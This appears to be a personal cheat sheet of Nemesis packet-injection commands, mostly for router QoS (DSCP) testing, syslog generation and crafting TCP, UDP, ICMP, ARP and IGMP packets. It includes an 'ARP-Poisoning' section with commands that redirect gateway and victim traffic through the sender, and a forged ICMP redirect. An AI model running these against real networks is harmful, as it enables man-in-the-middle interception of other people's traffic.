DSCP
Samples for setting DSCP Bits
Used to test the Priority queue on e Netopia VDSL Router
nemesis ip -S 192.168.1.1 -D 192.168.3.1. -t 184 (0xb8)
nemesis ip -S 192.168.1.1 -D 192.168.3.1. -t 40 (0x28)
nemesis ip -S 192.168.1.1 -D 192.168.3.1. -t 88 (0x58)
Used to test the Priority queue on e Netopia VDSL Router
syslog
create syslog entries
nemesis udp -y 514 -P file.txt -S 192.168.1.1 -D 192.168.2.1
in the file.txt is the Message to to syslog server.
Some nemesis samples:
Send TCP packet (SYN/ACK) with payload from ascii file 'foo' to target's ssh port from 192.168.1.1 to 192.168.2.2. (-v allows a stdout visual of current injected packet)
nemesis-tcp -v -S 192.168.1.1 -D 192.168.2.2 -fS -fA -y 22 -P foo
send UDP packet from 10.11.12.13:11111 to 10.1.1.2's name-service port with a payload read from a file 'bindpkt'. (again -v is used in order to see confirmation of our injected packet)
nemesis-udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P bindpkt
send ICMP REDIRECT (network) packet from 10.10.10.3 to 10.10.10.1 with preferred gateway as source address. Here we want no output to go to stdout - which would be ideal as a component in a batch job via a shell script.
nemesis-icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5
send ARP packet through device n°1 from hardware source address 00:01:02:03:04:05 with IP source address 10.11.30.5 to destination IP address 10.10.15.1 with broadcast destination hardware address. In other words, who-has the mac address of 10.10.15.1, tell 10.11.30.5 - assuming 00:01:02:03:04:05 is the source mac address of our first
nemesis-arp -v -d 1 -H 0:1:2:3:4:5 -S 10.11.30.5 -D 10.10.15.1
ARP-Poisoning:
Setup gateway-->me-->victim traffic redirect (poison gateways ARP table):
nemesis arp -v -r -d eth0 -S victim -D gateway -h myMAC
Setup victim-->me-->gateway traffic redirect (poison victims ARP table):
emesis arp -v -r -d eth0 -S gateway -D victim -h myMAC
and more
nemesis-arp -v -S 10.0.0.1 -D 10.0.1.2 -H 0:1:2:3:4:5 -h de:ad:be:ef:0:0 -M 00:60:b0:cd:5c:c0 -m 00:60:b0:cd:5c:c0 -d eth0 -T
nemesis-icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5
nemesis to join a multicast stream (example from Bluewin TV Enviroment)
nemesis igmp -v -p 22 -S 192.168.1.20 -i 239.186.39.5 -D 239.186.39.5